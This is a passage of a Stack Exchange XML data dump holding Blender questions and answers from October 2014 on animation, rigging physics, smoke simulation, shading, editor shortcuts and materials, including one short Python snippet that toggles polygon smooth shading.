  <row Id="17919" PostTypeId="1" CreationDate="2014-10-18T13:12:28.677" Score="5" ViewCount="1522" Body="&lt;p&gt;I am using blender to model a robot in my own robot simulator. To create better videos of my simulation results, I would like to log e.g. the positions and orientations of all segments to a log file and import that into blender to create an animation. Is there a canonical way to write such log files, or is there even a python module already out there?&lt;/p&gt;&#xA;" OwnerUserId="7547" LastEditorUserId="2217" LastEditDate="2014-10-18T13:27:00.957" LastActivityDate="2015-06-09T15:08:56.293" Title="Importing trajectories to create an animation" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17920" PostTypeId="2" ParentId="983" CreationDate="2014-10-18T13:20:50.163" Score="8" Body="&lt;p&gt;If you are just trying to get rid of the reflection of the light source&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cln0B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can turn off the visiblity for the camera and glossy on the emitting plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wg0ct.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5NGYN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-18T13:20:50.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17921" PostTypeId="1" AcceptedAnswerId="17923" CreationDate="2014-10-18T13:57:28.013" Score="3" ViewCount="1675" Body="&lt;p&gt;I am trying to change my rig to be dynamic so it can stand on top of the static floor.&#xA;I tried all the tutorial solutions and I can't solve it. Why does my character fly off screen, and not stand on the floor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1835/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1835&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2016-08-27T09:10:08.107" Title="Why does my rig fly away in game engine" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17922" PostTypeId="1" CreationDate="2014-10-18T14:04:42.060" Score="2" ViewCount="215" Body="&lt;p&gt;I have a &lt;code&gt;FloatVectorProperty&lt;/code&gt; with the subtype &lt;code&gt;COLOR&lt;/code&gt; laid out in my operator. I would like to user to be able to control it like normal, but to be able to set the value if the material already exists. I have tried using &lt;code&gt;Get/Set&lt;/code&gt; methods, but they seem to freeze up the color. What I would like is if the material doesn't exist it sets the value to (1.0, 1.0, 1.0), if it does then it gets that color and sets the value to it, but still allows the user to control the color. Any ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-18T14:04:42.060" Title="get/set on FloatVectorProperty subtype COLOR" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17923" PostTypeId="2" ParentId="17921" CreationDate="2014-10-18T14:18:10.733" Score="4" Body="&lt;p&gt;You have all the parts of your robot set as &lt;em&gt;Static&lt;/em&gt;, thus your &lt;em&gt;Dynamic&lt;/em&gt; rig is colliding with the parts of the robot, which does not work.&lt;br&gt;&#xA;To fix that just set every part of your robot, except for the rig to be &lt;em&gt;No collision&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A easy way to do it is to, is set one piece as &lt;em&gt;No collision&lt;/em&gt;. Then select all of your robot (I used Border select &lt;kbd&gt;B&lt;/kbd&gt; in wireframe mode so I would not miss any pices); make sure that piece you set to &lt;em&gt;No collision&lt;/em&gt; is the active selection, meaning it is lighter orange (selected last) and press &lt;kbd&gt;space&lt;/kbd&gt; and search for &lt;em&gt;Copy Game Physics Properties to Selected&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation showing setting all pieces as no collision&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7qvEO.gif&quot; alt=&quot;gif showing setting all pieces as no collision&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-10-18T18:42:24.613" LastActivityDate="2014-10-18T18:42:24.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17924" PostTypeId="1" CreationDate="2014-10-18T14:49:54.273" Score="1" ViewCount="2862" Body="&lt;p&gt;I am trying to import a Sketchup model (&lt;code&gt;.skp&lt;/code&gt; file) into Blender and then later on into Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I did the default Collada export, but upon importing the &lt;code&gt;.dae&lt;/code&gt; file into Blender, I got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I, then, followed the instructions on this webpage: &lt;a href=&quot;https://blender.stackexchange.com/questions/2342/import-sketchup-skp-files&quot;&gt;Import SketchUp &amp;quot;.skp&amp;quot; files&lt;/a&gt; but the result was just an empty Blender scene...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that might be useful to know is that in my first attempt to use Collada export, there was a folder craeted (during the export process) with 3 materials in it. It basically means my model uses some material (brick texture, metal surface, etc...) which might be the reason for the failure of export/import processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into such a problem before? Is there a work around for this kind of work that deals with multi-layer multi-material 3D models craeted in SketchUp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I would be happy to send my file over to someone who believes they could analyze it and see perhaps what the problem might be...&lt;/p&gt;&#xA;" OwnerUserId="7506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2018-05-04T23:14:54.647" Title="Importing into Blender a Collada export (.dae file) from Sketchup" Tags="&lt;import&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17925" PostTypeId="2" ParentId="17901" CreationDate="2014-10-18T15:19:38.217" Score="3" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32204&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;I took your blend, made a copy of the landing gear and rig and deleted the animation.&lt;br&gt;&#xA;I then added &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Transformation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transformation&lt;/a&gt;&lt;/em&gt; Bone constraints to four of your bones; &lt;em&gt;arm1&lt;/em&gt;, &lt;em&gt;arm1.001&lt;/em&gt;, &lt;em&gt;pad&lt;/em&gt;, and &lt;em&gt;pad_backflip&lt;/em&gt;. Notice the different values of the Min and Max for the Source Z axis on the Transformation constraints. That is how I timed the different parts to happen at different times. Your &lt;em&gt;Control_bone&lt;/em&gt; drives all of the Transformation constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xXn14.gif&quot; alt=&quot;gandalf style gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-10-18T15:51:44.917" LastActivityDate="2014-10-18T15:51:44.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17926" PostTypeId="1" CreationDate="2014-10-18T16:25:42.303" Score="3" ViewCount="6282" Body="&lt;p&gt;Can anyone help me with quick smoke?&#xA;I am still very new to blender and I am confused on how I can key frame quick smoke to start at a certain frame with the explosion I have set up.&lt;/p&gt;&#xA;" OwnerUserId="7549" LastEditorUserId="241" LastEditDate="2014-10-18T18:41:11.273" LastActivityDate="2014-10-18T18:41:11.273" Title="Keyframing start and end of smoke simulation" Tags="&lt;animation&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17928" PostTypeId="2" ParentId="17926" CreationDate="2014-10-18T16:33:53.387" Score="2" Body="&lt;p&gt;If you are using the mesh as the flow source,  then animate the &lt;em&gt;Density&lt;/em&gt; of the &lt;em&gt;Flow&lt;/em&gt; object.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2Gt0M.png&quot; alt=&quot;smoke density field&quot; /&gt;&lt;br /&gt;&#xA;Hover over the field and press &lt;kbd&gt;I&lt;/kbd&gt; to add a keyframe. Or &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot; /&gt;&lt;/kbd&gt; on the field and choose &lt;em&gt;Insert Keyframe&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you are using a emitter particle system, then use the start and end time of the particle system.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-18T16:33:53.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17929" PostTypeId="1" AcceptedAnswerId="17930" CreationDate="2014-10-18T18:10:53.750" Score="16" ViewCount="16235" Body="&lt;p&gt;I know that I can click on the smooth / flat shading buttons in the Tool Shelf panel when I am in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know, is where can I find out if an object has smooth or flat shading on it without having to go and click the buttons to see the difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lqc8p.gif&quot; alt=&quot;smooth flat shading animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="2217" LastEditDate="2014-10-18T18:17:42.750" LastActivityDate="2020-11-30T12:49:30.033" Title="Where is the smooth / flat shading property of an object?" Tags="&lt;interface&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17930" PostTypeId="2" ParentId="17929" CreationDate="2014-10-18T18:25:40.650" Score="26" Body="&lt;p&gt;The smooth/flat shading option is only applied per face and not per object. So there isn't a way of viewing the shading status of an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click 'Smooth' or 'Flat' shading while in object mode you are simply telling blender to smooth each individual face. You could go into edit mode and set smooth or flat shading on a selection of faces instead of the whole object, meaning: &lt;strong&gt;the object would have both smooth &lt;em&gt;and&lt;/em&gt; flat shading&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a python script which loops through the faces of an object and sees whether the majority are smooth or flat shaded by accessing the &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.use_smooth&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;use_smooth&lt;/code&gt;&lt;/a&gt; property of a polygon (face) and seeing whether it is &lt;code&gt;True&lt;/code&gt; or &lt;code&gt;False&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the &lt;code&gt;use_smooth&lt;/code&gt; property via &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Mesh.html?highlight=polygons#bpy.types.Mesh.polygons&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Mesh.polygons&lt;/code&gt;&lt;/a&gt; on a given object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# test the first polygon of a certain mesh&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['ObjectName'].data.polygons[0].use_smooth&#xA;&amp;gt;&amp;gt;&amp;gt; True&#xA;&#xA;# set the shading of all polygons to flat &#xA;for poly in bpy.context.object.data.polygons:&#xA;    poly.use_smooth = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="31447" LastEditDate="2017-08-29T11:50:14.053" LastActivityDate="2017-08-29T11:50:14.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17931" PostTypeId="1" AcceptedAnswerId="17933" CreationDate="2014-10-18T19:00:21.410" Score="2" ViewCount="869" Body="&lt;p&gt;I'm pretty new with particles and everything, so I'm going to guess that there's got to be some easy way to do this, but I just can't seem to find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a forest scene that I've made by distributing trees, bushes, grass, etc. across a landscape randomly with a hair particle system. It worked great and I got a good render out of it. But now I've re-built each source mesh so that it has an armature and a &quot;swaying in the wind&quot; animation (with the sapling generator). and I want to sub in the animated ones for the static meshes. Previously, I had grouped the source meshes and then under the render tab in my particles panel I just hit &quot;group&quot; and selected the group and voila. But if I group the animated meshes and do the same, the armatures don't get distributed with them and they don't animate. If I include the armatures in the group it distributes them as separate objects, and again i get no animation (plus a lot of loose armatures all over the scene). How can I get it to distribute copies of the source objects with ​their armatures attached?&lt;/p&gt;&#xA;" OwnerUserId="7550" LastEditorUserId="3078" LastEditDate="2014-10-18T20:01:28.223" LastActivityDate="2014-10-18T20:01:28.223" Title="How to distribute animated meshes with a particle system" Tags="&lt;particles&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17932" PostTypeId="2" ParentId="17909" CreationDate="2014-10-18T19:37:24.470" Score="5" Body="&lt;p&gt;To pin vertices in a soft body simulation, just use the &quot;Soft Body Goal&quot; settings. You can specify a vertex group for the vertices you want to pin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to behave like cloth, I think you want to set the default goal strength down to zero. Then, the soft body will hang down like cloth would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a test I did. I have the pinned vertices hooked to an empty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxbeP.png&quot; alt=&quot;Pinned soft body screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2014-10-18T19:37:24.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17933" PostTypeId="2" ParentId="17931" CreationDate="2014-10-18T19:57:08.963" Score="0" Body="&lt;p&gt;I got it to duplicate the animated mesh. I did not have to instance the armatures with the mesh. At first, it wasn't working for me either. It only duplicates the animated mesh if the original animated meshes are visible in the scene. I presume you have them in a separate layer. Try making that layer visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a workaround though. It would be nice to have the original objects invisible. Maybe you should file a bug report for this?&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2014-10-18T19:57:08.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17934" PostTypeId="2" ParentId="17907" CreationDate="2014-10-18T20:05:53.507" Score="17" Body="&lt;p&gt;This seems to be exactly the kind of place where you might want to use the &lt;em&gt;Random&lt;/em&gt; output of the object info node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9xYWm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xYWm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This output gives a random value between 1 and 0 which is unique to each object. By using a color ramp node, you can use this random value to give each object a color from a defined set of colors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKoaN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-18T20:05:53.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17935" PostTypeId="1" CreationDate="2014-10-18T20:10:01.017" Score="15" ViewCount="7778" Body="&lt;p&gt;I'm tired of pulling out windows to get the UV editor or pull down a menu in the screen sets.&lt;br&gt;&#xA;Is there a shortcut, with one key, to get my 3D view to UV editor/node editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not found a way to edit shortcuts that way.&lt;/p&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="3078" LastEditDate="2014-10-18T20:20:25.753" LastActivityDate="2016-06-25T22:00:40.900" Title="How to switch between editors with shortcuts" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17936" PostTypeId="1" CreationDate="2014-10-18T20:12:11.933" Score="1" ViewCount="611" Body="&lt;p&gt;Okay so what I want to do is use the face in the picture indicated by the black arrow to create a mesh that follows the path indicated by the red arrow so that it creates a 'lip' along the edge of the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried just extruding all the faces in the path, which gets close to what I'd like but that means on either end there is a gap between the surface on either end as shown in picture two.  I can just draw in the remaining vertices, but that means the distance won't be uniform.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, I'm trying to make a lip, like on a counter-top, drawn along the path highlighted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope what I'm trying to accomplish makes sense.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lR9JI.jpg&quot; alt=&quot;The red arrow indicates the the path and the black arrow indicates the face I&amp;#39;d like to use.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bpize.jpg&quot; alt=&quot;The black arrow indicates the gaps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xnKkF.jpg&quot; alt=&quot;This is before extruding.  I have just added faces to either end and then I&amp;#39;ll extrude.&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p2Uin.jpg&quot; alt=&quot;Now I just have to trim off the excess and it&amp;#39;ll be close to what I wanted.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7551" LastEditorUserId="7551" LastEditDate="2014-10-19T01:28:14.157" LastActivityDate="2014-10-19T01:28:14.157" Title="extrude a ridge with even thickness" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-10-24T23:14:57.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="17937" PostTypeId="2" ParentId="17935" CreationDate="2014-10-18T20:13:46.873" Score="23" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several screenlayout presets which are selectable from the info header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9814a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also cycle through them with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8592; Left arrow&lt;/kbd&gt; and &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8594; Right arrow&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also define your own presets by clicking the &lt;strong&gt;+&lt;/strong&gt; next to the drop down and then arranging the screen how you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to keep your presets whenever you start up blender, you'll have to save the startup .blend by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;. Note that this will save &lt;em&gt;everything&lt;/em&gt; as default, including user preferences, view orientation, objects, materials, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are also shortcuts to turn the current editor under the mouse into another editor. For example, press:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F2&lt;/kbd&gt; for a &lt;em&gt;Logic editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F3&lt;/kbd&gt; for a &lt;em&gt;Node editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F4&lt;/kbd&gt; for a &lt;em&gt;Python console&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F5&lt;/kbd&gt; for a &lt;em&gt;3D view&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F6&lt;/kbd&gt; for a &lt;em&gt;Graph editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F7&lt;/kbd&gt; for a &lt;em&gt;Properties editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F8&lt;/kbd&gt; for a &lt;em&gt;NLA editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F9&lt;/kbd&gt; for an &lt;em&gt;Outliner&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F10&lt;/kbd&gt; for a &lt;em&gt;UV/image editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt; for a &lt;em&gt;Text editor&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt; for a &lt;em&gt;Dope sheet&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-18T20:29:38.477" LastActivityDate="2014-10-18T20:29:38.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17938" PostTypeId="2" ParentId="17893" CreationDate="2014-10-18T20:22:11.840" Score="1" Body="&lt;p&gt;I do not know the specifics of Blender's implementation. But, it seems to me, they would use the exact same algorithm in both cases. With particle instancing, you have a position vector and a transformation matrix for each particle. The only difference with dupliface is the position vector is determined by an object's face, rather than a particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, memory is going to be the same. Render time should be the same, unless you're using extra features. For example, you can have objects deform along a particle's path when using particle instancing. The deformations would take extra time to compute when rendering.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2014-10-18T20:22:11.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17939" PostTypeId="2" ParentId="17935" CreationDate="2014-10-18T20:22:59.247" Score="5" Body="&lt;p&gt;Just rename your screen layout presets like Default and Default Node so they are alphabetically next to each other, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Arrow&lt;/kbd&gt; is one keystoke to node editor and same back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change the shortcuts from user preferences &gt; input &gt; screen &gt; set screen&lt;br&gt;&#xA;So its really one keystroke.&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="2217" LastEditDate="2014-10-18T20:27:50.523" LastActivityDate="2014-10-18T20:27:50.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17940" PostTypeId="1" AcceptedAnswerId="18335" CreationDate="2014-10-18T20:49:39.957" Score="0" ViewCount="1880" Body="&lt;p&gt;So I have a lot of objects with similar animations, but I want each one to fade out at a different time. I already have a lot of materials, so I don't want to make the list that much longer. Is there any way to fade out a specific object without use of materials? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-29T14:36:34.603" Title="Fade out objects WITHOUT use of materials" Tags="&lt;animation&gt;&lt;objects&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17941" PostTypeId="1" CreationDate="2014-10-18T22:21:32.363" Score="0" ViewCount="407" Body="&lt;p&gt;Let's say I have a human model and I want to give it a certain height. Currently I only see a way using the scale (either with the mouse or by editing the numbers) but I don't even know its initial size so I can only scale it approximately.&lt;br&gt;&#xA;So is there a way to see a model's bounding box dimensions and edit them to resize the skeleton?&lt;/p&gt;&#xA;" OwnerUserId="7553" LastActivityDate="2014-10-19T07:33:06.017" Title="Can I edit an armature's size through its bounding box?" Tags="&lt;armature&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17943" PostTypeId="2" ParentId="7582" CreationDate="2014-10-18T23:40:15.073" Score="1" Body="&lt;p&gt;What you would be trying to record really would be the effect of the movements (sculpting) rather than the actions themselves. Because, the actions themselves have context. The movements of a pen or mouse device make sense only when in &quot;Edit&quot; or &quot;Sculpt&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, theoretically, you could respond to a set of events from the user interface and keyframe the effects of those actions to be able to &quot;record&quot; and &quot;play back&quot;. But the amount of information and frequency required to do this probably would make the whole thing unusable but for small scale projects. (And in any case, you would still be key-framing the changes applied to the object by the actions, rather than the actions themselves).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if we are talking about keyframing mesh modifications, then Blender does already have something that could be of help in this case. It is called &quot;Shape Keys&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shape keys store intermediate states of a model's mesh and also allow for interpolation between these intermediate states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow to achieve this &quot;recording&quot; might seem a bit awkward but would consist of mainly two steps: 1) Add a shape key 2) Apply the sculpting &quot;brush stroke&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, you will have a set of shape keys that show the progressive deformation of the mesh, potentially, brush stroke by brush stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now key frame the transitions between shape keys to affect the dynamics of the deformations and create an animation that is as fast or as slow as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would look more like morphing, of course, rather than sculpting, except in the case where you could subdivide one stroke to many different stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that could be done to improve the presentation of the effect would be to have the mesh rotating in front of a static camera and apply the transitions when the affected side of the mesh goes off the view. It would give the apperance of more details added with each revolution without the viewer actually seeing the deformations take place.&lt;/p&gt;&#xA;" OwnerUserId="5682" LastActivityDate="2014-10-18T23:40:15.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17944" PostTypeId="2" ParentId="17790" CreationDate="2014-10-19T00:39:29.927" Score="2" Body="&lt;p&gt;My guess would be that Blender is not decompressing the file successfully. Best solution is to transcode the source media (with non Blender app) to be Blender friendly but sadly this will probably increase file sizes a lot.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-10-19T00:39:29.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17945" PostTypeId="2" ParentId="182" CreationDate="2014-10-19T00:44:11.357" Score="14" Body="&lt;p&gt;I'm not completely sure what you are going after, but for an image like the top one lighting will be very important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have car model to demonstrate, but hopefully this gives you some ideas: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkbBQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material nodes:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5s3Br.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5s3Br.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want that paint fleck look that a lot of car paints have, try using a voronoi texture to modify the normals of a glossy shader underneath the main surface:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHyNh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TW3ns.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TW3ns.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" 